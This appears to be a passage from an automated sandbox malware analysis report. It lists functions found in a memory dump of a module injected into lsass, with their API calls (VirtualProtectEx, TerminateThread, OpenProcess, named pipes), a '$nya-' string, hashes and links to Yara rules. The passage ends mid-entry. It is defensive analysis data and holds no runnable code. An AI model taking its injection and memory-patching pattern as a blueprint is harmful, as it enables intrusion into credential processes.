LoadLibraryExW.KERNEL32(?,?,?,00000202C0AE9C6B,?,?,?,00000202C0AE945C,?,?,?,?,00000202C0AE8F65), ref: 00000202C0AE9B31
GetLastError.KERNEL32(?,?,?,00000202C0AE9C6B,?,?,?,00000202C0AE945C,?,?,?,?,00000202C0AE8F65), ref: 00000202C0AE9B3F
LoadLibraryExW.KERNEL32(?,?,?,00000202C0AE9C6B,?,?,?,00000202C0AE945C,?,?,?,?,00000202C0AE8F65), ref: 00000202C0AE9B69
FreeLibrary.KERNEL32(?,?,?,00000202C0AE9C6B,?,?,?,00000202C0AE945C,?,?,?,?,00000202C0AE8F65), ref: 00000202C0AE9BD7
GetProcAddress.KERNEL32(?,?,?,00000202C0AE9C6B,?,?,?,00000202C0AE945C,?,?,?,?,00000202C0AE8F65), ref: 00000202C0AE9BE3

Strings

api-ms-, xrefs: 00000202C0AE9B51

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction ID: 2f7bb17091c3ad669aac45023b8a36a5db2972c06d5c6d1236e1bc469af265ea
Opcode Fuzzy Hash: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction Fuzzy Hash: 0A318421212B80D5FE11DB16A89C79D2394BB49BA0F5B0627DFAD4B792EF38C46C8314

Function 00000202C0AF3400 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000202C0AF3431
GetLastError.KERNEL32 ref: 00000202C0AF343D
CloseHandle.KERNEL32 ref: 00000202C0AF3455
CreateFileW.KERNEL32 ref: 00000202C0AF3480
WriteConsoleW.KERNEL32 ref: 00000202C0AF349F

Strings

CONOUT$, xrefs: 00000202C0AF3461

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction ID: 4684a3b6f03071b9fbdecb27535ffbe65efa07643c59d5347bdcf71fed77be26
Opcode Fuzzy Hash: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction Fuzzy Hash: 0E116022324B40C6F750CB62E89C71D66A0F788BE9F454217EB5E87B95CF39C9488744

Function 00000202C0AE6270 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE62AB
GetThreadContext.KERNEL32 ref: 00000202C0AE6415

Part of subcall function 00000202C0AE60A0: GetCurrentThreadId.KERNEL32 ref: 00000202C0AE60A4

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction ID: 4059655588c06262bb9e9a5817a7e9d20f6ac25274a879b1308bfe414715c134
Opcode Fuzzy Hash: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction Fuzzy Hash: 6FD19776214B88C6EA70DB0AE49835E77A4F388B88F110517EBDD477AACF39C955CB00

Function 00000202C0AE2098 Relevance: 9.1, APIs: 6, Instructions: 113threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00000202C0AE20A6
TlsFree.KERNEL32 ref: 00000202C0AE225F
TlsFree.KERNEL32 ref: 00000202C0AE226B
TlsFree.KERNEL32 ref: 00000202C0AE2277
TlsFree.KERNEL32 ref: 00000202C0AE2283
TlsFree.KERNEL32 ref: 00000202C0AE228F

Part of subcall function 00000202C0AE5E50: GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5E66

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Free$CurrentThread
String ID:
API String ID: 564911740-0
Opcode ID: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction ID: ac81ffba270cbcd8ca7ff8d8b8890d8c165ed8bf11482b1277a3e3b317920732
Opcode Fuzzy Hash: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction Fuzzy Hash: AE51AA71201B85D5FB19EB24E8DC69C23A1FB44B48F860917A7AD067A7EF74DA2CC350

Function 00000202C0AE35C8 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,00000202C0AE24D1), ref: 00000202C0AE35EB
HeapAlloc.KERNEL32(?,?,?,?,?,00000202C0AE24D1), ref: 00000202C0AE35FE
StrCmpNIW.SHLWAPI(?,?,?,?,?,00000202C0AE24D1), ref: 00000202C0AE3673
GetProcessHeap.KERNEL32(?,?,?,?,?,00000202C0AE24D1), ref: 00000202C0AE36D9
HeapFree.KERNEL32(?,?,?,?,?,00000202C0AE24D1), ref: 00000202C0AE36E7

Strings

$nya-, xrefs: 00000202C0AE366C

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $nya-
API String ID: 756756679-1266920357
Opcode ID: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction ID: cb7b1bf515307d281e61f84502089fd4659e2d19a194bc2e74b976beb2e9b607
Opcode Fuzzy Hash: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction Fuzzy Hash: 1D318D22705B91E2FA14DF26A98C72EA3A0BB44B84F0A40238F9807B56EF34D4798700

Function 00000202C0AEC940 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000202C0AEC94F
SetLastError.KERNEL32 ref: 00000202C0AEC96E
FlsSetValue.KERNEL32 ref: 00000202C0AEC997
FlsSetValue.KERNEL32 ref: 00000202C0AEC9A8
FlsSetValue.KERNEL32 ref: 00000202C0AEC9B9

Part of subcall function 00000202C0AED2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,00000202C0AE674A), ref: 00000202C0AED2B6
Part of subcall function 00000202C0AED2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,00000202C0AE674A), ref: 00000202C0AED2C0

SetLastError.KERNEL32 ref: 00000202C0AEC9DC

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ErrorLast$Value$FreeHeap
String ID:
API String ID: 365477584-0
Opcode ID: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction ID: 2107b0081469023aaed2b856a6d9ca0864ac4a40cee91d820bb639892fa8c1c3
Opcode Fuzzy Hash: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction Fuzzy Hash: CB1186213103D0D2FA14B73168DD3AE1251AB88794F574627EBB65B3C7DE38D82A4300

Function 00000202C0AE1A30 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000202C0AE1A56
K32GetModuleFileNameExW.KERNEL32 ref: 00000202C0AE1A74
PathFindFileNameW.SHLWAPI ref: 00000202C0AE1A83
lstrlenW.KERNEL32 ref: 00000202C0AE1A8F
StrCpyW.SHLWAPI ref: 00000202C0AE1AA2
CloseHandle.KERNEL32 ref: 00000202C0AE1AB0

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction ID: cef2ec367b5bf5f88403ef2d8067b784126752e9b6ab15f0aec9f8f7e49451a6
Opcode Fuzzy Hash: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction Fuzzy Hash: 77010522705B8086FA14DB22A89C75962A1FB88FC0F8A41369F9943755DE39C9898780

Function 00000202C0AE3E14 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000202C0AE3AAC), ref: 00000202C0AE3E30
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE3AAC), ref: 00000202C0AE3E3E
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE3AAC), ref: 00000202C0AE3E60
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE3AAC), ref: 00000202C0AE3E7E
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE3AAC), ref: 00000202C0AE3E9F
TerminateThread.KERNEL32(?,?,?,?,?,00000202C0AE3AAC), ref: 00000202C0AE3EAE

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction ID: 4fe45aef8abda1118a3182d0fe23ad37238832c29f6318056cc31bcfd59596a4
Opcode Fuzzy Hash: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction Fuzzy Hash: F901DB66611740C6FB24DB21E88CB1D62A0BB44B45F160427DB9E067A6EF3EC85C8740

Function 00000202C0AE1AD4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000202C0AE1AF4
StrCmpNIW.SHLWAPI ref: 00000202C0AE1B0E
lstrlenW.KERNEL32 ref: 00000202C0AE1B1D
StrCpyW.SHLWAPI ref: 00000202C0AE1B32

Strings

\\?\, xrefs: 00000202C0AE1B02

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction ID: d8837c5ce690130c2a4c636cf2b35a019e001dd55ce572a27a65843f68b2c2f6
Opcode Fuzzy Hash: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction Fuzzy Hash: 53F08C32314784D2FB208B25E9DC35D6360F744BC8F8640238B894695ADE6DC69CCB00

Function 00000202C0AE3708 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,00000202C0AE275A), ref: 00000202C0AE372A
StrCpyW.SHLWAPI ref: 00000202C0AE373A
StrCatW.SHLWAPI ref: 00000202C0AE3746
PathCombineW.SHLWAPI(?,?,00000000,00000202C0AE275A), ref: 00000202C0AE3754

Strings

\\.\pipe\, xrefs: 00000202C0AE3720

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction ID: b6175183439679ade4b9a440113b8254938e64d81a702bb967794fe07d2f2327
Opcode Fuzzy Hash: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction Fuzzy Hash: 70F082A6704B80D1FA14DB27B9AC11D6661BB48FC0F468133EF5A0BB1ACF2CC4598700

Function 00000202C0AEB904 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000202C0AEB929
GetProcAddress.KERNEL32 ref: 00000202C0AEB93F
FreeLibrary.KERNEL32 ref: 00000202C0AEB95B

Strings

mscoree.dll, xrefs: 00000202C0AEB920
CorExitProcess, xrefs: 00000202C0AEB938

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction ID: bc4eda4bdc59daf6858a7535c881e29f7d45ea489bef3fdc95527cda0e1ce26c
Opcode Fuzzy Hash: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction Fuzzy Hash: 77F06D62211741C5FA149B24A8CC36E2324AB897A0F56061B9BBA451E6DF3AC44CC600

Function 00000202C0AE5810 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5896

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction ID: d92c8a70047ee3f9f677c60f71c96e14274d0a7e76417ba7bd5f06a1eebfcb31
Opcode Fuzzy Hash: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction Fuzzy Hash: 42029332619B84C6E6A0CB55F49875EB7A0F3C4794F114117EBDE87BAADB78C498CB00

Function 00000202C0AE2C80 Relevance: 7.6, APIs: 6, Instructions: 131COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00000202C0AE2CAD
TlsGetValue.KERNEL32 ref: 00000202C0AE2CBC
TlsGetValue.KERNEL32 ref: 00000202C0AE2CCB
TlsSetValue.KERNEL32 ref: 00000202C0AE2E0F
TlsSetValue.KERNEL32 ref: 00000202C0AE2E1E
TlsSetValue.KERNEL32 ref: 00000202C0AE2E2D

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction ID: 267105f87d7f451d57cd450934c05bd4599ec1585b1ac8a24cde59d035386c7e
Opcode Fuzzy Hash: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction Fuzzy Hash: EB519236604781CBF364CB16A8CCA5EB3A4F784B48F56411B9F9A43756DF39C859CB40

Function 00000202C0AE2AB4 Relevance: 7.6, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00000202C0AE2AE1
TlsGetValue.KERNEL32 ref: 00000202C0AE2AF0
TlsGetValue.KERNEL32 ref: 00000202C0AE2AFF
TlsSetValue.KERNEL32 ref: 00000202C0AE2C3B
TlsSetValue.KERNEL32 ref: 00000202C0AE2C4A
TlsSetValue.KERNEL32 ref: 00000202C0AE2C59

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction ID: 0c0c6ec8d55fc4081fdbc6933022197a2e818e3703d065431f4521513b37686d
Opcode Fuzzy Hash: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction Fuzzy Hash: 21517E36614781C7F728DF26A88CA1EB3A0F388B84F52411BDF9A43756DF39D8198B40

Function 00000202C0AE5E50 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5E66

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction ID: 79ed82cb3cc7373dd659b777388e18cf0486bb0023f2a61f6dad9cd5929ad774
Opcode Fuzzy Hash: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction Fuzzy Hash: 8F61C276529B80C6F660CB25F49871EB7A0F388788F110517EBDD43BAADB78C9588B40

Function 00000202C0AE3EC8 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000202C0AE3A5B), ref: 00000202C0AE3EDB
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE3A5B), ref: 00000202C0AE3F0E
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE3A5B), ref: 00000202C0AE3F2E
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE3A5B), ref: 00000202C0AE3F47
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE3A5B), ref: 00000202C0AE3F68

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction ID: 30d110bfc8817b1b051e8d17fed5869de832b2bf3c623fb6e0d935533c0c0f97
Opcode Fuzzy Hash: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction Fuzzy Hash: 4F111C26A19780D7FB24CB21E48C61E67B0FB44B80F060027DB9D07795EF7EC9688784

Function 00000202C0AE8CA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AE8CCB
_IsNonwritableInCurrentImage.LIBCMT ref: 00000202C0AE8D62
RtlUnwindEx.NTDLL ref: 00000202C0AE8DBC

Strings

